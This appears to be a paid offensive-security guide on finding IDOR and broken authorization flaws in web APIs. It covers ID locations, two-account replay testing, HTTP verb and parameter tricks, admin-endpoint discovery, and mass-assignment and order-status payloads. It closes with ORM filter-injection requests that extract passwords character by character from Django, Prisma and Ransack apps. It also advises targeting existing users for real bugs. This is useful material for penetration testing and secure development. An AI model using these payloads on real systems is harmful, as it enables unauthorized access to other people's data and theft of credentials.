idor-broken-object-authorization

$27

2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)

Don't stop at URL path parameters — IDs appear in:

URL path:        GET /api/v1/users/1234/profile

URL query:       GET /orders?order_id=982

Request body:    {"userId": 1234, "action": "view"}

JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}

Headers:         X-User-ID: 1234

                 X-Account-ID: 9999

Cookies:         user_id=1234; account=org_5678

GraphQL args:    query { user(id: "1234") { ... } }

Form fields:     <input name="documentId" value="5678">

WebSocket msgs:  {"event":"subscribe","channel_id":9999}

3. A-B TESTING METHODOLOGY

The most systematic IDOR test approach:

Step 1: Create two test accounts: UserA and UserB

Step 2: Perform all actions as UserA, capture all requests

        (profile edit, order view, password change, file access, etc.)

Step 3: Note every object ID created or accessed by UserA

Step 4: Authenticate as UserB

Step 5: Replay UserA's requests using UserB's session token

Step 6: If UserB can read/modify UserA's data → BOLA confirmed

Victim matters: for real bugs, target existing users, not test accounts.

Report evidence: show UserA owns the resource, UserB accessed it.

4. ID TYPE ITS IMPLICATIONS

ID Pattern

Example

Notes

Sequential int

id=1001 → id=1002

Easy prediction, high hit rate

UUID v4

550e8400-...

Need to find UUID from other endpoints

UUID v1

Clock-based UUID

Time-predictable! Extract timestamp/MAC

GUIDs from own data

See in responses

Collect all UUIDs from your own account data first

Hashed IDs

md5(user_id)

Try hashing sequential ints

Encoded IDs

base64({"id":1001})

Decode → modify → re-encode

Compound IDs

/api/users/1/orders/5

Both IDs may be independently verifiable

5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION

Horizontal: UserA accesses UserB's data (same privilege level)

GET /api/account/1234/statement     ← you are user 5678

Vertical: Low-priv user accesses admin-only functions

POST /api/admin/users/delete        ← normal user calling admin endpoint

GET /api/admin/all-users

PUT /api/users/1234/role {"role":"admin"}

Combined: Low-priv IDOR that grants privilege escalation

GET /api/v1/users/1/details → read admin user's auth token

6. HTTP METHOD ESCALATION

When GET /resource/1234 is properly restricted, test ALL other verbs:

GET    /api/v1/users/UserA_ID    ← might be blocked

POST   /api/v1/users/UserA_ID    ← different code path, might not check authz

PUT    /api/v1/users/UserA_ID    ← update another user's data

DELETE /api/v1/users/UserA_ID    ← delete another user's account

PATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

Why this works: Authorization logic is often implemented per-method, and developers forget edge cases.

7. PARAMETER POLLUTION & TYPE CONFUSION

When id=1234 is validated, try:

id[]=1234&id[]=5678          ← array — app may use first or last

id=5678&id=1234              ← duplicate — app may prefer first or last

{"id": "1234"}               ← string vs int: might hit different code path

{"id": [1234]}               ← array in JSON

{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

JSON Type Confusion:

{"userId": "1234"}   vs   {"userId": 1234}

Some ORMs handle string vs integer differently in queries.

8. BFLA (FUNCTION LEVEL) ATTACKS

Common BFLA Endpoints to Test

# User management (admin-only in design):

GET /api/v1/admin/users

DELETE /api/v1/users/{any_user_id}

PUT /api/v1/users/{user_id}/role

# Bulk operations:

POST /api/v1/users/bulk-delete

GET /api/v1/export/all-data

# Billing/payment admin:

POST /api/v1/admin/subscription/modify

GET /api/v1/admin/payments/all

# Internal reporting:

GET /api/v1/reports/all-users-activity

How to Find Hidden Admin Endpoints

• Read JS bundles — admin routes often exposed in frontend code

• Look at API docs (Swagger/OpenAPI) for "admin", "internal", "privileged" tags

• Enumerate /api/v1/admin/**, /api/v1/manage/**, /api/v1/internal/**

• Burp "Discover Content" on API base path

• Compare regular user docs vs admin section docs if available

9. INDIRECT IDOR (REFERENCE CHAIN)

App checks permission on object A but doesn't check ownership of referenced object B:

Example:

UserA has permission to read their own messages.

GET /api/messages/1234 → checks: "does user own message 1234?" ✓

But: messages have attachments.

GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

Test: access attachments/sub-resources directly via their IDs without going through parent endpoint.

GraphQL variant: Inline querying related objects without separate authorization:

query {

  myProfile {

    followers {

      privateEmail    ← accessing private field of OTHER users via relationship

    }

  }

}

10. MASS ASSIGNMENT → PRIVILEGE ESCALATION

When POST/PUT takes a JSON body, properties in the underlying model may be settable even if not in the official API docs:

POST /api/v1/register

{

  "username": "attacker",

  "email": "a@evil.com",

  "password": "password",

  "role": "admin",          ← hidden field

  "isAdmin": true,          ← hidden field

  "verified": true,         ← skip email verification

  "creditBalance": 9999     ← give self credits

}

How to find hidden fields:

• Intercept admin "create user" vs normal "register" — diff the fields

• Read API documentation for all possible fields

• Check source code if available (GitHub, JS bundles)

• Fuzz with Burp: add common property names and check for 200 vs 400

11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)

When resources have a status/state:

order.status: pending → confirmed → shipped → delivered

Test: Can you skip states?

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"

PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

Can you set another user's order status?

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← as UserB

12. QUICK IDOR CHECKLIST

□ Create 2 accounts (UserA + UserB)

□ Map all API calls that contain object IDs (Burp History export filter)

□ Test all HTTP verbs on each endpoint

□ Test ID in all locations: path, body, header, query, cookie

□ Try sequential IDs (−1, +1 from your own)

□ Try UUIDs/GUIDs collected from your own account data

□ Test sub-resources (attachments, comments, transactions)

□ Test admin endpoints directly (BFLA)

□ Test POST/PUT body for extra fields (mass assignment)

□ Compare JSON response field count vs documented fields (hidden fields)

□ Test state/status field modification

13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES

#

Category

Test Method

1

Direct ID reference

Change numeric/UUID ID in URL: /api/users/123 → /api/users/124

2

Predictable UUID

If UUIDs are v1 (time-based), adjacent IDs are calculable

3

Batch/bulk operations

/api/users/bulk?ids=123,456 — add other users' IDs

4

Export/download

Export endpoint leaks other users' data: /export?user_id=*

5

Linked object IDOR

Change order.address_id to another user's address

6

Resource replacement

Update own profile with another user's resource ID → overwrites

7

Write IDOR

PUT/PATCH/DELETE with other user's ID — modify/delete their data

8

Nested object

/api/orgs/1/users/2 — change org ID to access other org's users

Testing Flow

1. Create two test accounts (A and B)

2. Perform all CRUD operations as A, capture all request IDs

3. Replay each request replacing A's IDs with B's IDs

4. Check: Can A read B's data? Modify? Delete?

5. Test with: numeric IDs, UUIDs, slugs, encoded values

6. Test across: URL path, query params, JSON body, headers

14. ORM FILTER CHAIN LEAKS

Django ORM Filter Injection

# Vulnerable: User.objects.filter(**request.data)

# Attacker sends: {"password__startswith": "a"}

# Django translates to: WHERE password LIKE 'a%'

# Character-by-character extraction:

POST /api/users/

{"username": "admin", "password__startswith": "a"}   → 200 (match)

{"username": "admin", "password__startswith": "b"}   → 404 (no match)

# Iterate through charset for each position

# Relational traversal:

{"author__user__password__startswith": "a"}

# Traverses: Author → User → password field

# On MySQL: ReDoS via regex

{"email__regex": "^(a+)+$"}  → CPU spike if match exists

Prisma Filter Injection

// Vulnerable: prisma.user.findMany({ where: req.body })

// Attacker sends nested include/select:

{

  "include": {

    "posts": {

      "include": {

        "author": {

          "select": {"password": true}

        }

      }

    }

  }

}

// Leaks password field through relation traversal

Ransack (Ruby on Rails)

# Ransack allows search predicates via query params:

GET /users?q[password_cont]=admin

# Searches: WHERE password LIKE '%admin%'

# Character extraction:

GET /users?q[password_start]=a   → count results

GET /users?q[password_start]=ab  → narrow down

# Tool: plormber (automated Ransack extraction)